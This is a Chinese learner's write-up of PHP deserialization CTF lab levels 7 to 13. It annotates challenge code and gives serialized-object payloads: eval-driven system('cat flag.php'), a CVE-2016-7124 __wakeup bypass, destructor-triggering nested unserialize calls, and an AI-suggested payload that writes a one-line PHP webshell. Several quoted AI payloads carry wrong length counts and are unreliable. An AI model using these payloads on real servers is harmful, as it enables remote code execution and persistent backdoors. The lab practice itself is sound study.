2. 避免“序列化数据被破坏”
你之前接触的序列化数据(比如O:12:"protectedKEY":1:{...})里有大量特殊字符(O/:/{/}/空字节%00):
- 如果不编码,空字节
%00会被HTTP协议直接丢弃(因为HTTP默认不支持非打印字符); &/=这类“结构字符”会被当成参数分隔符,导致序列化字符串被“拆成多个参数”。
URL编码后,这些特殊字符会变成安全的百分号格式(比如空字节%00保持%00,&→%26),
确保序列化数据完整到达服务器,反序列化时不会出错。
3. 跨系统的“兼容性”
不同系统(比如浏览器、服务器、代理)对字符的处理规则不同:
- 有些系统会自动过滤非ASCII字符;
- 有些系统会把空格转成
+,再转成%20。
URL编码是HTTP协议的标准规范,所有系统都能识别%+十六进制的格式——不管你用什么浏览器/服务器,编码后的参数都能被正确解析。
总结:URL编码的“本质”
把非安全字符→安全的百分号格式,让数据能“原封不动”地从客户端传到服务器,避免因为字符问题导致请求失败或数据损坏。
你之前看到的%3A/%22,就是序列化数据里的特殊字符被编码后的结果——服务器收到后会自动解码,
还原成原来的序列化字符串,再进行反序列化~ 😊
反序列化靶场 关卡 7 : 实例化和反序列化
题目

代码审计
class FLAG{
// 定义一个名为FLAG的类
public $flag_command = "echo 'Hello CTF!<br>';";
// 公共属性:初始值为输出"Hello CTF!<br>"的命令
function backdoor(){
// 定义一个名为backdoor的方法
eval($this->flag_command);
// 执行$flag_command里的PHP代码(eval是执行字符串代码的函数)
}
}
$unserialize_string = 'O:4:"FLAG":1:{s:12:"flag_command";s:24:"echo 'Hello World!<br>';";}';
// 定义一个序列化字符串:表示FLAG类的对象,
//其中flag_command属性被改为输出"Hello World!<br>"的命令
$Instantiate_object = new FLAG();
// 实例化的对象
$Unserialize_object = unserialize($unserialize_string);
// 反序列化的对象
$Instantiate_object->backdoor();
// 调用实例化对象的backdoor方法:执行默认的flag_command,输出Hello CTF!
$Unserialize_object->backdoor();
// 调用反序列化对象的backdoor方法:执行修改后的flag_command,输出Hello World!
'$Instantiate_object->backdoor()' will output:Hello CTF!
'$Unserialize_object->backdoor()' will output:Hello World!
<?php /* Now Your Turn */
//注释:现在轮到你了
unserialize($_POST['o'])->backdoor();
//核心逻辑:反序列化POST 参数"o"里的字符串,得到FLAG对象后直接调用backdoor方法
思路
这段代码的目的是通过反序列化控制flag_command的值,从而让backdoor()方法执行任意PHP代码——比如你可以构造一个序列化字符串,把flag_command改成system('ls');(执行系统命令),然后通过POST传参o,就能触发命令执行~
$unserialize_string = 'O:4:"FLAG":1:{s:12:"flag_command";s:24:"echo 'Hello World!<br>';";}';
// 定义一个序列化字符串:表示FLAG类的对象,
//其中flag_command属性被改为输出"Hello World!<br>"的命令
【这个是关键啊啊啊啊,重点,有这个去得知如何修改属性内容,去找flag,,照着模仿即可】
解题
咦,怎么不可以
O:4:"FLAG":1:{s:12:"flag_command";s:23:"system('cat flag.php');";}
url编码
O%3A4%3A%22FLAG%22%3A1%3A%7Bs%3A12%3A%22flag_command%22%3Bs%3A23%3A%22system%28%27cat%20flag.php%27%29%3B%22%3B%7D

我试呀试,还是不行!

问问ai
步骤1:理解FLAG类的结构
FLAG类只有1个公共属性flag_command,因此序列化字符串的格式固定为:
O:4:"FLAG":1:{s:12:"flag_command";s:【代码长度】:"【你要执行的代码】";}
O:4:"FLAG":表示对象(Object),类名长度4(FLAG);1:表示有1个属性;s:12:"flag_command":属性名是flag_command(字符串长度12);s:【长度】:"【代码】":属性值是你要执行的代码(需计算代码的字符长度)。
步骤2:构造Payload示例(3种常用场景)
以下是直接可用的Payload,复制后通过POST传参o即可执行:
Payload1:执行系统命令(查看当前目录文件)
O:4:"FLAG":1:{s:12:"flag_command";s:13:"system('ls');";}
- 说明:
system('ls')会列出当前目录下的所有文件,代码长度是13(system('ls');共13个字符)。 -

Payload2:读取敏感文件(比如flag.txt)
O:4:"FLAG":1:{s:12:"flag_command";s:22:"echo file_get_contents('flag.txt');";}
- 说明:
file_get_contents('flag.txt')会读取flag.txt的内容,代码长度是22。
Payload3:写文件(比如生成一句话木马)
O:4:"FLAG":1:{s:12:"flag_command";s:36:"file_put_contents('shell.php','<?php eval($_POST[1]);');";}
- 说明:生成一个名为
shell.php的文件,内容是一句话木马(通过POST参数1执行代码),代码长度是36。
步骤3:计算代码长度的小技巧
如果需要自定义代码,必须准确计算代码的字符数(包括引号、分号等):
- 比如代码
echo 'test';的长度是10(字符依次是:e c h o ' t e s t ' ; → 共10个); - 可以用在线工具(比如字符数统计器)快速计算。
如何使用Payload?
- 打开Postman、Burp Suite或浏览器插件(比如HackBar);
- 向目标URL发送POST请求,参数名填
o,参数值填上面的Payload; - 发送后,服务器会执行
flag_command里的代码,返回结果。
注意事项
- 如果目标环境禁用了
system/exec等命令函数,可以改用file_get_contents读取文件,或phpinfo();查看环境信息; - 代码中的引号需用单引号(因为序列化字符串外层用了双引号,内层用单引号避免转义);
- 若执行失败,检查代码长度是否正确(比如少算/多算字符会导致反序列化失败)。
测试用“无风险Payload”验证是否通
如果不确定Payload是否正确,先用输出phpinfo()的Payload测试(不会影响服务器,且能明确看到是否执行成功):
- 发送后如果页面显示PHP环境信息,说明参数名和Payload格式都对;
- 如果还是没反应,检查:
-
- 目标URL是否正确(比如是不是访问了静态HTML页,而不是PHP文件);
- 服务器是否禁用了
eval/system等函数(可以用echo 'test';测试:s:10:"echo 'test';";)。

测试成功,但还是白屏?分号;问题?问问
结尾的;不是必须的,但加了更保险
你的疑问很细节——PHP代码的分号;是语句结束符,加不加取决于代码的“完整性”。以下是具体解释:
1. 为什么有些Payload没加;也能执行?
因为反序列化后,代码是通过eval执行的,而eval会把字符串当作完整的PHP代码块解析。如果代码只有单个语句,即使没加分号,PHP也会自动补全(比如system('ls')和system('ls');效果一样)。
举个例子:
- 加
;:eval("system('ls');");→ 标准语法,肯定能执行; - 不加
;:eval("system('ls')");→ PHP会自动在末尾补;,所以也能执行。
2. 什么时候必须加;?
如果代码包含多个语句,必须用;分隔,否则会报错。比如:
- 错误:
eval("system('ls') echo 'test'");(两个语句没分隔,PHP无法解析); - 正确:
eval("system('ls'); echo 'test';");(用;分隔,两个语句都能执行)。
我没辙了,我就当是白屏吧。。。

反序列化靶场 关卡 8 : 构造函数和析构函数
题目

代码审理
一、全局变量初始化
global $destruct_flag;
// 声明要使用全局变量$destruct_flag(后续统计析构函数调用次数)
global $construct_flag;
// 声明要使用全局变量$construct_flag(后续统计构造函数调用次数)
$destruct_flag = 0;
// 初始化:析构函数调用次数→0
$construct_flag = 0;
// 初始化:构造函数调用次数→0
二、FLAG类定义(用于演示构造/析构函数的触发)
class FLAG {
public $class_name; // 类的公共属性:存储类名
// 1. 构造函数:创建对象时自动调用
public function __construct($class_name)
{
$this->class_name = $class_name; // 给属性赋值(传入的类名)
global $construct_flag; // 引用全局变量$construct_flag
$construct_flag++; // 构造函数调用次数+1
echo "Constructor called " . $construct_flag . "<br>"; // 输出调用次数(换行)
}
// 2. 析构函数:对象被销毁时自动调用(脚本结束/手动unset/GC回收)
public function __destruct()
{
global $destruct_flag; // 引用全局变量$destruct_flag
$destruct_flag++; // 析构函数调用次数+1
echo "Destructor called " . $destruct_flag . "<br>"; // 输出调用次数(换行)
}
}
三、FLAG类的演示逻辑(创建→序列化→反序列化→销毁)
/*Object created*/
$demo = new FLAG('demo');
// 创建FLAG对象,传入类名'demo'→触发构造函数(输出:Constructor called 1)
/*Object serialized*/
$s = serialize($demo);
// 序列化$demo对象→把对象转成字符串(仅存储属性值,不触发构造/析构)
/*Object unserialized*/
$n = unserialize($s);
// 反序列化$s→重建FLAG对象→触发构造函数(输出:Constructor called 2)
/*unserialized object destroyed*/
unset($n);
// 手动销毁反序列化后的对象$n→触发析构函数(输出:Destructor called 1)
/*original object destroyed*/
unset($demo);
// 手动销毁原始对象$demo→触发析构函数(输出:Destructor called 2)
/*注意 此处为了方便演示为手动释放,一般情况下,当脚本运行完毕后,
php会将未显式销毁的对象自动销毁,该行为也会调用析构函数*/
/*此外 还有比较特殊的情况: PHP的GC(垃圾回收机制)会在脚本运行时自动管理内存,
销毁不被引用的对象:*/
new FLAG();
// 创建FLAG对象但不赋值给变量→触发构造函数(输出:Constructor called 3),
然后立即被GC回收→触发析构函数(输出:Destructor called 3)
Object created:Constructor called 1
Object serialized: But Nothing Happen(:
Object unserialized:But nothing happened either):
serialized Object destroyed:Destructor called 1
original Object destroyed:Destructor called 2
This object ('new FLAG();') will be destroyed immediately because it is not assigned to any variable:Constructor called 2
Destructor called 3
Now Your Turn!, Try to get the flag!
四、核心挑战:`RELFLAG`类与`check`函数**
这部分是**拿flag的关键**,逻辑和`FLAG`类类似,但统计的是全局变量`$flag`:
<?php
class RELFLAG {
// 构造函数:创建对象时自动调用
public function __construct()
{
global $flag;
// 引用全局变量$flag
$flag = 0;
// 每次创建对象时,先把$flag重置为0(注意:这是坑点!)
$flag++;
// $flag+1→变成1
echo "Constructor called " . $flag . "<br>";
// 输出:Constructor called 1
}
// 析构函数:对象被销毁时自动调用
public function __destruct()
{
global $flag;
// 引用全局变量$flag
$flag++;
// $flag+1(比如构造后是1,析构后变成2)
echo "Destructor called " . $flag . "<br>";
// 输出析构后的$flag值
}
}
// 检查函数:$flag>5时输出flag,否则提示当前值
function check(){
global $flag;
if($flag > 5){
echo "HelloCTF{???}"; // 目标:让$flag>5
}else{
echo "Check Detected flag is ". $flag;
}
}
// 接收POST参数'code',执行里面的PHP代码,然后调用check()
if (isset($_POST['code'])) {
eval($_POST['code']);
// 执行用户传入的代码(危险操作,用于CTF挑战)
check();
// 执行检查
}
global
global 是PHP的全局变量声明关键字,用于在函数/类方法内部访问函数外部定义的全局变量。
核心作用
PHP中,函数/类方法内部默认无法直接使用外部的全局变量(作用域隔离)。
通过 `global 变量名` 可以打破这个隔离,让内部代码操作外部的全局变量。
### 举个例子 ```php // 全局变量(函数外部定义)count = 0;
function add() {
global count;//声明:我要使用外部的全局变量count
count++; // 操作全局变量(不是函数内部的局部变量)
}
add();
echo count; // 输出1(如果没有global,这里会输出0,因为函数内的$count是局部变量)
### 关键注意点
1. **必须先声明再使用**:在函数/方法内使用全局变量前,必须用 `global` 声明,
否则会被当作**局部变量**(未赋值时为`null`)。
2. **全局变量的风险**:过度使用全局变量会导致代码耦合性高、调试困难,
实际开发中建议用**类的静态属性**或**依赖注入**替代。
3. **类方法中的用法**:在类的成员方法中,`global` 同样可以访问外部全局变量
(如你之前代码中`FLAG`类的构造/析构方法)。
<br>
<br> 是 HTML(超文本标记语言)中的换行标签,用于在网页中插入一个强制换行,
让文字从新的一行开始显示。
核心特点
作用:替代文本中的“回车键”,告诉浏览器在此处换行(不会产生新的段落,仅换行)。
语法:是自闭合标签,无需成对使用,直接写 <br> 即可(旧版HTML可能写 <br/>,
但现代浏览器都支持 <br>)。
应用场景:在需要换行但不想分段的地方使用,比如地址、诗歌、短句子的分行等。
示例对比
假设你想显示两行文字:
不使用 <br>:文字会连在一起 → 第一行第二行
使用 <br>:文字会换行 → 第一行<br>第二行
浏览器显示效果:
第一行
第二行
注意
<br> 仅用于网页排版,在纯文本(如TXT文件)或其他编程语言(如PHP)中无效。
如果是在PHP代码中输出换行到网页,需要用 echo "<br>"; 才能让浏览器识别换行。
构造,折构函数
构造函数(__construct())
定义:类的初始化方法,在创建对象时自动调用,用于初始化对象的属性或执行必要的准备工作。
核心作用:
- 给对象的属性赋初始值(如用户类的
name、age); - 创建对象时自动执行初始化逻辑(如连接数据库、加载配置)。
示例:
class User {
public $name;
// 构造函数:创建对象时自动传入name并赋值
public function __construct($name) {
$this->name = $name;
echo "用户{$name}已创建<br>";
}
}
$user = new User("小明"); // 输出:用户小明已创建
析构函数(__destruct())
定义:类的清理方法,在对象被销毁时自动调用(如脚本结束、手动unset()对象、内存回收),用于释放资源。
核心作用:
- 释放占用的资源(如关闭数据库连接、删除临时文件);
- 执行对象销毁前的收尾逻辑(如记录日志)。
示例:
class FileHandler {
private $file;
public function __construct($filename) {
$this->file = fopen($filename, "r"); // 打开文件
}
// 析构函数:对象销毁时自动关闭文件
public function __destruct() {
fclose($this->file); // 释放文件资源
echo "文件已关闭<br>";
}
}
$handler = new FileHandler("data.txt");
unset($handler); // 手动销毁对象→触发析构函数,输出:文件已关闭
关键区别
|
维度 |
构造函数 |
析构函数 |
|
调用时机 |
对象创建时( |
对象销毁时(自动/手动) |
|
作用 |
初始化对象属性/资源 |
释放对象占用的资源 |
|
参数 |
可接收参数(用于初始化) |
不接收任何参数 |
|
执行顺序 |
先于对象的其他方法执行 |
晚于对象的其他方法执行 |
总结
构造函数是对象的“出生初始化”,析构函数是对象的“临终清理”,
两者配合保证对象的资源管理更高效、安全。
思路
分析上面的代码,观察条件
if($flag > 5){
echo "HelloCTF{???}";
由此可知,若想知道???的内容,我们要让这个flag大于5,要怎么做捏??(但是这个flag值会重置)
对 RELFLAG 类的实例,进行多次「序列化→反序列化」的循环操作,
**多层嵌套**:代码中重复了4次 `serialize(unserialize(...))` 循环,相当于对同一个对象进行**多次“拆包→打包”**的过程。
【通过多次“无引用的反序列化”,可以快速让全局变量 flag 的值超过5,从而满足题目要求。这本质是利用PHP的自动垃圾回收机制,将“对象销毁”与“变量累加”绑定,实现高效的数值增长。】
ai
要让$flag>5`,但`RELFLAG`的构造函数会**重置`$flag为0**,所以不能直接创建对象。正确思路是:
- 先手动把
$flag`设为一个较大的数(比如`$flag=5;); - 再创建
RELFLAG对象→构造函数重置为0?不对,其实可以利用析构函数的多次调用:
-
- 比如创建多个
RELFLAG对象,且不手动销毁,让脚本结束时自动触发析构函数,叠加$flag的值。
- 比如创建多个
不过具体Payload需要你自己调试,核心是绕开构造函数的重置,让析构函数多次触发~ 😊
官方wp
考察 构造函数 (__construct()) 和 析构函数 (__destruct()) ,并且引入了一些 PHP垃圾回收机制的知识点 —— 请注意,GC机制和析构函数息息相关。
构造函数只会在类实例化的时候 —— 也就是使用 new 的方法手动创建对象的时候才会触发,而通过反序列化创建的对象不会触发这一方法,这也是为什么,在前面的内容,我将反序列化的对象创建过程称作为 “还原”。
析构函数会在对象被回收的时候触发 —— 手动回收和自动回收。
手动回收:就是代码中演示的 unset 方法用于释放对象。
自动回收:对象没有值引用指向,或者脚本结束完全释放,具体看题目中的演示结合该部分文字应该不难理解。
题目要求 全局变量 标识符flag的值大于5,根据 __destruct() 和 PHP GC 的特性,我们可以不断地去序列化和反序列化一个对象,然后不给该对象具体的引用以触发自动销毁机制。
1. 关键前提:析构函数的触发条件
当对象 没有任何变量引用 时(即成为“垃圾”),PHP的GC会自动销毁它,并触发析构函数。如果析构函数中包含“让全局变量 flag++”的逻辑,那么每次销毁对象都会让 flag 加1。
2.为什么要“序列化→反序列化”循环?
直接 new RELFLAG() 只能创建1个对象,触发1次析构。【若创建新的,会发生清零现象】但通过 “序列化→反序列化” 可以批量创建临时对象:
- 反序列化
unserialize(serialize(new RELFLAG()))会生成一个新的临时对象(没有变量指向它)。 - 这个临时对象会被GC立即识别为“垃圾”,自动销毁并触发析构函数,让
flag++。 - 多次嵌套循环(比如4次),就会重复触发4次析构,让
flag快速累加。
. 为什么“不给对象引用”能触发自动销毁?
如果给对象赋值(比如 $obj = unserialize(...)`),`$obj 会持有对象的引用,GC不会销毁它。但如果不赋值(直接 unserialize(...)),对象没有任何变量指向,会被GC立即清理,从而强制触发析构函数。
解题
code=unserialize(serialize(unserialize(serialize(unserialize(serialize(unserialize(serialize(new RELFLAG()))))))));





补充(嵌套,次数?)
要判断这段代码的实际触发次数(即触发多少次 __destruct(),让 flag 加多少次),核心是数清楚代码中完整的「序列化→反序列化」单元的数量,以及每个单元内的逻辑。
new RELFLAG()本身包括构建+折构
unserialize(serialize())算折构一次
【这个AI是错的,以上为个人推测,不一定哦】
反序列化靶场 关卡 9 : 构造函数的后门
题目

代码审计
class FLAG {
var $flag_command = "echo 'HelloCTF';";
//(`var` 是PHP早期语法,等价于 `public`),存储了一段字符串形式的PHP代码:`echo 'HelloCTF';`。
public function __destruct()
{
eval ($this->flag_command);
}
}
unserialize($_POST['o']);
思路
提示了似曾相识四字,先自己看看?
要触发 FLAG 类的 __destruct() 执行 flag_command,需构造一个序列化后的 FLAG 对象,作为 `_POST['o']` 的值
跟第七类似,但是结果都是无
为啥呀,感觉我挺对的欸嘿嘿
解题
o=O:4:"FLAG":1:{s:12:"flag_command";s:23:"system('cat flag.php');";}

o=O:4:"FLAG":1:{s:12:"flag_command";s:18:"system('cat /flag');";}

反序列化靶场 关卡 10:weakup!
题目

代码审计
error_reporting(0);
class FLAG{
function __wakeup() {
include 'flag.php';
echo $flag;
}
}
if(isset($_POST['o']))
{
unserialize($_POST['o']);
}else {
highlight_file(__FILE__);
}
?>
error_reporting(0);
// 关闭错误报告
//功能:关闭PHP的所有错误、警告、通知等信息输出。
//作用:防止程序执行中因语法错误、变量未定义等问题暴露敏感信息
(如文件路径、代码逻辑),是CTF题目中常见的“隐藏细节”手段。
class FLAG{
// 定义一个名为FLAG的类
function __wakeup() {
// 定义一个__wakeup魔术方法
//魔术方法特性:__wakeup() 是PHP反序列化的内置钩子,
在 unserialize() 执行时自动触发(无论对象是否被显式调用方法)。
include 'flag.php';
// 包含flag.php文件,(通常包含题目答案 $flag` 变量)
echo flag;
//输出flag变量的值
//输出 flag.php 中定义的 $flag` 变量(即题目要获取的flag)
}
}
if(isset(_POST['o']))
// 如果POST请求中存在名为'o'的参数
{ unserialize(_POST['o']);
// 对POST请求中名为'o'的参数进行反序列化操作
}else {
// 否则
highlight_file(FILE);
// 高亮显示当前PHP文件的源代码
}
?>
思路
unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。
除开构造和析构函数,这应该是你第一个真正意义上开始接触的魔术方法,此后每一个魔术方法对应的题目我都会在这里介绍。
当然你也可以直接查阅PHP官网文档 - 魔术方法部分:https://www.php.net/manual/zh/language.oop5.magic.php
解题
o=O:4:"FLAG":0:{}

payload
这是一个PHP反序列化Payload,
由两部分组成:o= 是POST参数名,O:4:"FLAG":0:{} 是参数值(序列化后的字符串)。
以下是对参数值的逐段解析:
1. 序列化字符串的结构(PHP标准格式)
PHP序列化对象的格式为:O:类名字符长度:"类名":属性数量:{属性键值对}
|
片段 |
含义 |
|
|
表示序列化的是对象(Object)(如果是数组则为 |
|
|
类名 |
|
|
类的名称(必须与目标代码中的类名完全一致,本题是 |
|
|
该对象的属性数量(本题 |
|
|
属性的键值对(数量为0时为空)。 |
2. 为什么这个Payload能生效?
目标代码的核心逻辑是:
- 当POST参数
o存在时,执行unserialize($_POST['o'])`(反序列化)。 - - 反序列化
`FLAG`对象时,会自动触发`__wakeup()`魔术方法(内置规则)。 - - `__wakeup()` 中直接包含 `flag.php` 并输出 `$flag,因此无需额外操作。
3. 简化理解
你可以把这个Payload看作是一个**“指令包”**:
- 告诉PHP:“我要反序列化一个对象,类名叫FLAG,没有属性”。
- PHP执行反序列化时,自动触发
FLAG类的__wakeup(),从而输出flag。
总结
这个Payload的作用是触发目标代码中 FLAG 类的 __wakeup() 方法,直接获取flag。它的结构完全符合PHP序列化规则,且没有多余内容,是本题最简洁的解题Payload。
反序列化靶场 关卡 11 : Bypass weakup!
题目

代码审计
error_reporting(0);
//功能:关闭PHP所有错误、警告、通知的输出。
//作用:隐藏程序执行中的敏感细节(如变量未定义、文件路径错误等),
【防止因为报错来看出解题思路和漏洞】
include 'flag.php';
//功能:引入外部文件 flag.php(通常包含真实flag变量 $flag`)。
//- **注意**:`include` 是“松散引入”
//(文件不存在仅警告,程序继续执行),但本题中 `flag.php` 是核心依赖(必须存在才能获取真实flag)。
【与上一次不太一样,没有包含在CLASS类里头】
class FLAG {
//定义了一个类FLAG
public $flag = "FAKEFLAG";
//在 FLAG 类中定义一个公共的成员变量 $flag`,并给它赋初始值为字符串 "FAKEFLAG"**。
//- **`public`**:访问修饰符,表示这个变量可以在类的外部直接访问(如 `$obj->flag)。
public function __wakeup(){
global $flag;
//PHP中,函数内部默认无法直接访问「函数外部定义的变量」(即全局变量)。
//global 会让函数“绑定”到全局变量上,后续对 $flag的操作都会直接影响全局作用域中的$flag
//每次使用,需提前引用
// 绑定全局真实flag
$flag = NULL;
// 清空真实flag(阻碍输出的关键步骤)
}
public function __destruct(){
global $flag;
if ($flag !== NULL) {
echo $flag;
}else
{
echo "sorry,flag is gone!";
}
}
}
if(isset($_POST['o']))
{
unserialize($_POST['o']);
}else {
highlight_file(__FILE__);
phpinfo();
}
?>
思路
由上面的内容
在wakeup的时候,$flag = NULL;
但是输出Flag的条件if ($flag !== NULL) { echo $flag;
感觉有点自相矛盾哈哈
怎么办捏
CVE-2016-7124 - PHP5 < 5.6.25 / PHP7 < 7.0.10
在该漏洞中,当序列化字符串中对象属性的值大于真实属性值时便会跳过__wakeup的执行。
【在上面已经有所提示】
用「题目场景」拆解逻辑(当序列化字符串中对象属性的值大于真实属性值时便会跳过__wakeup的执行。)
以本题的 FLAG 类为例,一步步理解漏洞的触发条件:
1. 先明确两个关键“数量”
- 类的真实属性数量:
FLAG类只有1个属性 →public $flag(真实数量=1)。 - 序列化字符串中的属性数量:序列化字符串的格式是
O:类名长度:"类名":属性数量:{属性列表},例如:
// 正常序列化(属性数量=1,与真实数量一致)
O:4:"FLAG":1:{s:4:"flag";s:8:"FAKEFLAG";}
2. 漏洞触发的关键操作
把序列化字符串中的属性数量从1改成2(大于真实数量1):
// 构造漏洞触发的序列化字符串(属性数量=2)
O:4:"FLAG":2:{s:4:"flag";s:8:"FAKEFLAG";}
3. 漏洞效果:跳过 __wakeup()
当PHP执行 unserialize() 处理这个“属性数量不匹配”的字符串时,会触发漏洞逻辑:
- 原本会自动执行的
__wakeup()被直接跳过(不会清空真实flag)。 - 后续对象销毁时,
__destruct()正常执行,输出未被清空的真实flag。
为什么这个漏洞会存在?
PHP早期版本(≤5.6.25、7.0.10)的 unserialize() 函数,在解析序列化字符串时,没有严格校验“声明的属性数量”与“类真实属性数量”是否一致。当数量不匹配时,函数会“异常跳过”__wakeup() 的执行逻辑——这是典型的“输入校验不严格”导致的安全漏洞。
总结
这个漏洞的核心是通过篡改序列化字符串的“属性数量”,绕过 __wakeup() 的保护机制。在本题中,这是唯一能避免真实flag被清空、最终获取flag的关键手段。
如何判断真实的属性数量
class User {
public $username = "alice"; // 属性1
public $age = 25; // 属性2
// 方法省略
}
- 真实属性数量:2
- 序列化字符串(属性数量为2):
O:4:"User":2:{s:8:"username";s:5:"alice";s:3:"age";i:25;}
classFLAG{
public$flag = "FAKEFLAG";
// 仅1个属性// ... 方法省略
} ```
- ``` 它的真实属性数量是 **1**(这是构造Payload时需要篡改的关键数值)。
解题(就喜欢一遍过的题目)
o=O:4:"FLAG":2:{s:4:"flag";s:8:"FAKEFLAG";}

反序列化靶场 关卡 12 : sleep!
题目

代码审计
serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。
如果存在,该方法会先被调用,然后才执行序列化操作。
该方法必须返回一个数组:
return array('属性1', '属性2', '属性3') / return ['属性1', '属性2', '属性3']。
数组中的属性名将决定哪些变量将被序列化,当属性被 static 修饰时,无论有无都无法序列化该属性。
如果需要返回父类中的私有属性,需要使用序列化中的特殊格式 - %00父类名称%00变量名
(%00 是 ASCII 值为 0 的空字符 null,在代码内我们也可以通过 "\0" - 注意在双引号中,PHP 才会解析转义字符和变量。)。
例如,父类 FLAG 的私有属性 private $f; 应该在子类的 __sleep() 方法中以 "\0FLAG\0f" 的格式返回。
如果该方法未返回任何内容,序列化会被制空,并产生一个 E_NOTICE 级别的错误。
class FLAG {
//定义基础类 FLAG,包含不同访问修饰符的属性:
private $f;
private $l;
//私有属性(仅 FLAG 类内部可访问)。
protected $a;
//受保护属性(`FLAG` 及其子类可访问)。
public $g;
public $x,$y,$z;
//公共属性(所有类均可访问)。
public function __sleep() {
//__sleep() 是 PHP 反序列化的关键魔术方法:
//当对象被序列化时,会自动调用该方法,返回需要被序列化的属性名数组(未返回的属性不会被序列化)。
return ['x','y','z'];
//序列化 `FLAG` 对象时,
//仅保留 `x`、`y`、`z` 三个属性,其他属性(如 `$f、$l`、`$a、$g`)会被忽略。
// 示例输出:`O:4:"FLAG":3:{s:1:"x";N;s:1:"y";N;s:1:"z";N;}`(`N` 表示属性值为 `null`)
}
}
class CHALLENGE extends FLAG {
//定义子类 `CHALLENGE`,继承 `FLAG` 的所有非私有属性,
//并新增公共属性 `$h,$e,$l,$I,$o,$c,$t,$f`
//(注意 `$l 与父类私有 $l` 重名,但子类无法直接访问父类私有属性)。
public $h,$e,$l,$I,$o,$c,$t,$f;
function chance() {
return $_GET['chance'];
//允许通过 URL 参数 ?chance=xxx 指定第三个属性名
}
public function __sleep() {
/* FLAG is $h + $e + $l + $I + $o + $c + $t + $f + $f + $l + $a + $g */
$array_list = ['h','e','l','I','o','c','t','f','f','l','a','g'];
// 目标属性列表(含重复的 f、l)
$_=array_rand($array_list);$__=array_rand($array_list);
// 随机选两个属性名
return array($array_list[$_],$array_list[$__],$this->chance());
//返回随机属性 + chance() 结果
//每次序列化 `CHALLENGE` 对象时,会随机从 `$array_list 中选2个属性,
//再加上 chance() 方法的返回值(即 $_GET['chance']`),最终序列化这3个属性。
}
//示例输出:O:9:"CHALLENGE":3:{s:1:"c";s:7:"before_";s:1:"l";s:17:"__sleep_function_";s:17:"you shuold use it";N;}
//(第三个属性由 $_GET['chance']` 控制,此处为 `"you shuold use it"`,值为 `null`)
$FLAG = new FLAG();
echo serialize($FLAG);
//实例化 `FLAG` 类并序列化,输出仅包含 `x`、`y`、`z` 的序列化字符串。
echo serialize(new CHALLENGE());
//实例化 `CHALLENGE` 类并序列化,
//输出包含 **2个随机属性 + 1个 `chance()` 指定的属性** 的序列化字符串。
####################################################################################
If you serialize FLAG, you will just get x,y,z
O:4:"FLAG":3:{s:1:"x";N;s:1:"y";N;s:1:"z";N;}
------ 每次请求会随机返回两个属性,你也可以用 chance 来指定你想要的属性 ------
Now __sleep()'s return parameters is array('c','l','you shuold use it')
O:9:"CHALLENGE":3:{s:1:"c";s:7:"before_";s:1:"l";s:17:"__sleep_function_";s:17:"you shuold use it";N;}
####################################################################################
关键提示(CTF 角度)**
- 代码注释 `
/* FLAG is $h + $e + $l + $I + $o + $c + $t + $f + $f + $l + $a + $g */`
暗示:
`FLAG` 的值由 `CHALLENGE` 类的
`$h、$e`、`$l、$I`、`$o、$c`、`$t、$f`(重复)、`$l(重复)、父类 $a`、父类 `$g 拼接而成。
利用 $_GET['chance']` 可指定第三个属性名,
需通过多次请求或构造参数,
获取所有目标属性的序列化值,
最终拼接出 `FLAG`。
#####################################################################################
**总结**:
这段代码通过 `__sleep()` 控制序列化属性的返回,结合随机选择和 `$_GET 参数,
设计了一个需要逐步收集属性的反序列化挑战场景。
function chance() {
return $_GET['chance'];
}
核心作用
function chance() { return $_GET['chance']; } 是一个获取用户输入的“开关”函数,
简单说:
你在网址里写什么,它就返回什么。
举个例子理解
假设这个代码在 test.php 这个网页里,当你访问:
http://你的网站/test.php?chance=abc
此时 chance() 函数会返回 abc;
如果访问:
http://你的网站/test.php?chance=123
它就返回 123;
如果网址里没写 ?chance=xxx,它会返回 null(空值)。
结合之前的代码场景
在你之前问的 CHALLENGE 类里,__sleep() 方法会用到这个函数:
它会随机选2个属性,再加上 chance() 返回的内容,一起作为“打包(序列化)”的结果。
比如你访问 test.php?chance=flag,
那么 __sleep() 就会把 flag 这个属性加入到打包列表里——相当于你可以主动指定一个想要收集的“解谜线索”
总结:这个函数就是给你一个“主动权”,让你能通过网址参数,控制代码要处理哪个属性~ 😊
思路
当对象被序列化时,__sleep()会优先执行,其返回的数组指定了哪些属性会被包含在序列化结果中。因此,只有让目标属性出现在__sleep()的返回数组中,才能通过序列化获取它们的值
题目规定了目标属性列表而且题目题目给出了提示
FLAG is $h + $e + $l + $I + $o + $c + $t + $f + $f + $l + $a + $g
依次get传参就可以拼接完整的flag
解题
发现一直在按EXECUTE的时候
------ 每次请求会随机返回两个属性,你也可以用 chance 来指定你想要的属性 ------
这个下方的内容一直在不断的变化,即
它会随机选2个属性,再加上 chance() 返回的内容,一起作为“打包(序列化)”的结果。

如果我们想知道flag的内容,我们得尝试去指定里面的内容
有个蠢蛋,输入完body之后,不会看那个结果,一直按EXECUTE
其实要看那个上方(x,x,chance的内容)
以及下方末尾


h的内容
等等,救命,错了错了,傻子,是用GET的方法啊啊啊啊啊啊啊
应该是直接在url后面改动,而非body,这是post和json的方法啊啊啊



一个个好麻烦啊,其实观察一下,就在这里面,随机时取值不就好了。。。

这g, t不就都有了。。。
反序列化靶场 关卡 13 __toString()
题目

代码审计
__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。
class FLAG {
function __toString() {
echo "I'm a string ~~~";
include 'flag.php';
return $flag;
}
}
$obj = new FLAG();
if(isset($_POST['o'])) {
eval($_POST['o']);
} else {
highlight_file(__FILE__);
}
代码逐行解释
这段PHP代码定义了一个存在代码执行漏洞的类,
并通过POST参数接收用户输入执行代码,
核心功能是通过触发__toString()魔术方法读取flag.php。
以下是逐行解析:
class FLAG {
//定义一个名为FLAG的类,用于封装与flag相关的逻辑。
function __toString() {
//定义PHP魔术方法__toString():
//当对象被当作字符串使用时(如echo $obj`、`$obj . "str"),会自动调用该方法。
echo "I'm a string ~~~";
//触发__toString()时,先输出字符串I'm a string ~~~。
include 'flag.php';
//包含并执行flag.php文件(假设该文件中定义了$flag`变量,存储目标flag值)。
return $flag;
//方法返回$flag`的值,即`flag.php`中定义的flag。
}
//结束`FLAG`类的定义。
$obj = new FLAG();
//实例化FLAG类,创建对象$obj`。
if(isset($_POST['o'])) {**
//检查是否存在POST参数o:若存在,则执行后续代码。
eval($_POST['o']);`
